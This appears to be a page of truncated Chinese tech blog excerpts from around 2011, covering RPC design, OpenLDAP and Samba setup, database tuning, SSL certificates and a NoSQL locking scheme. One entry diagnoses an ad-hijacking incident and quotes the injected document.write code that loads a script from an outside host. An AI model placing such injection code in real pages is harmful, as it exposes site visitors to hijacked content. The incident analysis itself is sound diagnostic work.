今天拿mina和protocol buffers写了一个简单的TCP Server。http://code.google.com/p/uniqname/一款网络游戏通常会分为很多组服务器,各组服务器之间数据基本是不通的,而且经常要合并。拿魔兽世界来说,合服的时候总是2合一,一个主服,一个副服。副服的一个角色名如果和主服上的某个角色重复,那么这个人就会被迫改名,否则不能进入游戏。同时,好友列表、帮派等社交关系也会被清空。(3.x时代的魔兽世界)那么一个好一点的办法就是,从一开始就为服务器划好区,每个区有一个唯一名服务器,玩家创建角色的时候就做好重名检查,让同一个区(而不仅仅是本服)的角色名不重复。那么合服的时候,玩家感受会好一点。唯一名服务器最重要的一个接口就是allocate(String name),判断一个名字是否已被占用,否则就占了它。实现起来很简单,但是我想写一套新的RPC框架,而不是用现有的比如JMX、RMI、WebService之类的,于是就想把mina和protocol buffers配合起来。用mina做IO管理,用protocol buffers定义message、service、method。网上虽然有一个这样的实现,但是它用的是短连接,每次请求都会产生一个新的TCP连接,而我想要长连接,因为短链接需要像HTTP那样自己在用户层增加字段来维护session。我觉得所有的RPC实现,最大的麻烦就是如何处理out-of-band信息,比如传输层超时、比如对方抛出了一异常、如何获取peer address,如何为这些东西定义好恰当的接口,是很头疼的事情。google protocol buffers在每个函数都加了一个Controller对象,但是并没有文档描述它设计这个的动机是什么。这个Controller到底是每个Service一个,还是每个Server一个,还是每次收到请求的时候都创建一个新的?把它当Session用可不可以?貌似google还是建议你不要用,如果有这方面的需求,那么就给protoc写plugin吧。回来的路上我又在想,传统的模式是 Client-> GameServer-> Uniqname Server。往往,直接与Client交互的Server只有一个,而它经常是在做请求代理。但是如果引入 Kerberos 这…

2011-08-10

今天一行代码都没写。昨天到了一台服务器,DELL T310。今天开始折腾它。先装了一个fedora 15,然后是subversion、openldap、samba。openldap的官方手册和fedora系统下的这个严重对不上,在网上搜种种教程,凡是含有slapd.conf的统统滤掉。fedora的手册上找到这么一句话:"Note that OpenLDAP no longer reads its configuration from the /etc/openldap/slapd.conf file." fedora下要去修改/etc/openldap/slapd.d/cn=config/olcDatabase={1}bdb.ldif 。samba的官方手册着实让我震惊了,巨长无比,但是想查一些简单问题吧,比如在standalone模式下如何把passdb换成openldap,木有写。不过也难怪,Windows AD本来就是超级超级复杂的东西,如果把smbd当windows AD用,那非得好几本书来写才行。我想把subversion和samba的身份认证都统一成ldap,结果只完成了前者。我想让用户自己能通过ldap协议修改密码,比如这样ldappasswd -x -D "uid=scm,ou=users,dc=www,dc=sunchangming,dc=com" -W -S "uid=scm,ou=users,dc=www,dc=sunchangming,dc=com"但是它报告说Result: Insufficient access (50)因为默认情况下openldap不让用户自己修改密码,以前完美的ldap server也是如此,然后我去找panpan,看他很快速的修改了一个配置,就好了。这次我也想改,但是一头抓瞎。我觉得应该是得通过修改/etc/openldap/slapd.d/cn=config/olcDatabase={1}bdb.ldif这个文件增加授权,比如
olcAccess: to attrs=userPassword by self write by anonymous auth by dn.base="cn=Manager,dc=www,dc=sunchangming…

SSD,你真的需要吗?

qingran写了一篇SSD的blog,http://www.qingran.net/2011/07/%e5%a6%82%e4%bd%95%e5%86%99%e4%b8%80%e4%b8%aa%e4%b8%bassd%e4%bc%98%e5%8c%96%e7%9a%84%e6%95%b0%e6%8d%ae%e5%ba%93%ef%bc%9f/ 。我早从他那里听说了很多关于SSD的神奇传说,但是我一直想不通。数据库的IO,可分为读操作和写操作。如果硬盘读的慢,那就增加内存,提高cache命中率。比如之前,我们的数据库cache命中率在99.99%以上,那么硬盘是随机读还是顺序读什么的根本不重要,除非对数据库的响应延迟有苛刻要求。至于写操作,大部分数据库的cache策略都是write behind而不是write through,写慢点也无所谓。事务在提交的时候,对log buffer有3种处理策略:立即写入硬盘并fsync、立即写硬盘、暂时不管。前两者的区别在于,是否容忍OS崩溃这样的事件。反正咱又不是做银行的事务系统,干嘛要求那么苛刻?因机器意外断电而丢失最近一分钟内的数据,大多数产品经理都能接受。而后两者的效率相差很小。所以即便每次事务提交都写硬盘,即便硬盘的写入延迟很高,只要能放心的相信操作系统帮我临时保管数据,那么这一切都不是问题。所以当我看很多人用SSD来存放InnoDB的log file的时候,我总想问,你真的需要吗?如果用SSD是为了提高读取速度,那先把内存槽插满吧,加到128G再说,或者想想,为什么数据访问没有呈现一定的本地性?我拿perl写了简单的for循环,连接本地的mysql,随机更新一个3万行记录的表的某一行,测试结果是QPS总是停留在5000左右(单线程、长连接),此时mysql的CPU使用率到90%多了。所以我在想此时的瓶颈究竟在哪,不知道下一步该怎么做更细致的性能分析。我发现hibernate的二级缓存其实是一个很有意思的东西。在数据库和应用层之间做一个本地cache,每次查询先找它要,查不到再去数据库要。即便数据库查询代价极小,这么做也很有意思。因为数据在数据库内都是以二进制流或者column的方式存储的,把它映射到object上,必然有一个序列化/反序列化的过程。对于一个TPS很高的应用来说,必须得像这样做row-level cac…

我承认这是一个炫耀帖

最近几天在帮一个朋友做一套LAMP系统的优化,蛮爽的。数据库服务器,优化前负载在2.0-3.0左右,优化后在0.1-0.5左右。硬盘写入量则从之前的每秒10MB/s左右降低到300KB/s左右。数据库搞完之后就去搞前端机。前端机(nginx+php)的处于ESTABLISHED状态的连接特别多,请求处理的比预想的要慢很多,最终发现有一个函数占了97%的wall time,然后发现这个函数的结果是应当被cache的,而不是每次都去计算。研发和运营的脱节往往是来自于人与人之间的矛盾、部门间的利益冲突,所以据我观察,小公司就做的非常好。突然有个疑问,memcache的意义在于哪里? 按我的理解,如果数据库服务器的内存条还没插满,应该首先把它插满,而不是急着搞分布式缓存。按现在的机器硬件配置,128G的内存,小轻松吧?那么这个数据库的数据量,怎么着也上T了吧?够了吧?尤其对于大多数startup公司来说,业务根本做不了那么大。

Windows Live Writer真是很奇怪

Wordpress的rpc xml接口默认支持5种API<api name="WordPress" blogID="1" preferred="true" apiLink="http://snn1.sinaapp.com/xmlrpc.php" />
<api name="Movable Type" blogID="1" preferred="false" apiLink="http://snn1.sinaapp.com/xmlrpc.php" />
<api name="MetaWeblog" blogID="1" preferred="false" apiLink="http://snn1.sinaapp.com/xmlrpc.php" />
<api name="Blogger" blogID="1" preferred="false" apiLink="http://snn1.sinaapp.com/xmlrpc.php" />
<api name="Atom" blogID="" preferred="false" apiLink="https://snn1.sinaapp.com/wp-app.php/service" />Windows Live Writer检测到是Wordpress后,会按照这样的顺序调用blogger.getUsersBlogsGET /wp-includes/wlwmanifest.xml HTTP/1.1\r\nwp.getCategories
wp.getTagsmetaWeblog.getRecentPosts
metaWeblog.newPost
mt.setPostCategories
mt.getPostCategoriesblogger.deletePost也就是说,它故意要把…

更换了本网站的ssl证书

以前的证书到期了,今天更换了一下。这次没有用openssl管理密钥,而是jdk的keytool。D:\jdk32\bin\keytool -genkey -keysize 4096 -validity 730 -keyalg RSA -sigalg SHA256withRSA
D:\jdk32\bin\keytool -certreq -file mykey.csrD:\jdk32\bin\keytool -importcert -trustcacerts -file mykey.crt比较恶心的是,keytool导出证书的时候,不把私钥给我。想要私钥,据说得自己写程序导。tomcat我把apr去掉了,本来就只是一个小网站,不想让jni再给自己增加维护负担。现在我用的是org.apache.coyote.http11.Http11NioProtocol。按文档来说,Connector有这么4个属性来配置证书:"keyAlias、keyPass、keystoreFile、keystorePass"。我配置好之后,启动总是报告“java.security.UnrecoverableKeyException: Cannot recover key”。我说,既然SSL不能用,那你别在443上监听啊。现象是,能连,在等服务器给response,然后无限等待下去。然后服务器上大量的这种ESTABLISHED但是僵死的链接。`网上说,keyPass和keystorePass必须一样。于是我用keytool把它们改成一样之后,果然好了。这算BUG吗?

今天帮人查了一个网站弹恶意广告的事情

我一个朋友的网站,http://www.ccedu24.com/,打开的时候偶尔会弹出taobao商城的广告。他抓头挠腮的很急,不知道怎么办。我开始以为是中木马了,他问是不是把所有文件的写入权限都关了就行了?后来我仔细看了一下,是这样:它首页会调用一些本地的js,如/js/Common.js、/js/login.js。正确的情况下,应该是先输出这样的http头,HTTP/1.1 200 OK
Content-Type: application/x-javascript
Content-Encoding: gzip
Last-Modified: Sun, 22 Aug 2010 11:08:18 GMT
Accept-Ranges: bytes
ETag: "0fdf252ea41cb1:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
Date: Wed, 13 Jul 2011 05:20:36 GMT
Content-Length: 1916然后输出js的内容。但是在偶尔,会变成这样:HTTP/1.1 200 OK
Content-Type: text/html
Accept-Ranges: bytes
Connection: closedocument.write("<script language='javascript' src='http://hub.izptech.com/re/re.php?src=t0036&t=" + encodeURIComponent(document.title)+"'><\/script>"); document.write("<script language='javascript' src='http://www.ccedu24.com/js/Common.js?tqs=20101206'><\/script>"); 原始的js内容会被替换成两条document.write语句,一条指向被…

那个NoSQL数据库的实现上的一些想法

最后,放弃了JNI的方式,因为JNI的接口太恶心了。我决定先实现一个纯JAVA的先用着,除非发现效率不够我预期,否则就不换了。为啥呢? 我不就是要个简单嘛。为了简单,我更简单的是也不搞数据目录、日志目录了,整个数据库就两个文件,数据文件和日志文件。数据文件的第一个页面里面是meta info,存着table name-> tables root page number,以及其它的一些信息。至于并发控制,我想尽力避免表锁。按最原始的思路,每个table都是Map,Map里面存放的是value的指针或者引用。那么value还会存放其它类型的成员变量,以及Collections。那么,最原始的想法,就是每个自定义的类型,都有一个版本号和一把锁,每个table都有一个表锁。那么insert/delete语句会需要表锁。select呢?select其实也需要。因为我首先要读这个Map,然后从这个Map中查数据。那么就需要Map的version,以及所获得的记录的version。最后提交的时候,如果要达到serializable的隔离度,那么就需要重新检查这个Map的version。我想把这个表锁去掉。换一个思路。假设我现在有一个大的Object Pool,里面有很多对象,每个对象的初始值都是null。这里所说的对象,其实只有一种类型Map.Entry\。每个对象有一个唯一标识符,(tablename,Key)。insert操作可视为把一个null的对象改成非null,delete则是反过来。那么get操作无论是否拿到了想要的数据(无论是否返回null),最终Commit的时候都再去检查一次,null是否依然是null,etc。本来想的很好,但是这样有一个漏洞,对于null,因为它是空,所以我没有地方存版本号,所以就必须假设它的版本是0。可惜,对于delete操作,应当增加Object的版本号,而不是把Object的版本号重置为0。所以这里是有问题的。可以考虑一种补救的措施,在某个点,禁止所有事务运行,然后重置版本号。所以delete操作只有在这个点的时候,才真正的删除数据,否则把key挪到一个新的Map里面,叫deletedItems,value是version,get操作在返回null的同时也要返回这个version。在重置版本号的时候,如果我不是重置所有的版本号,…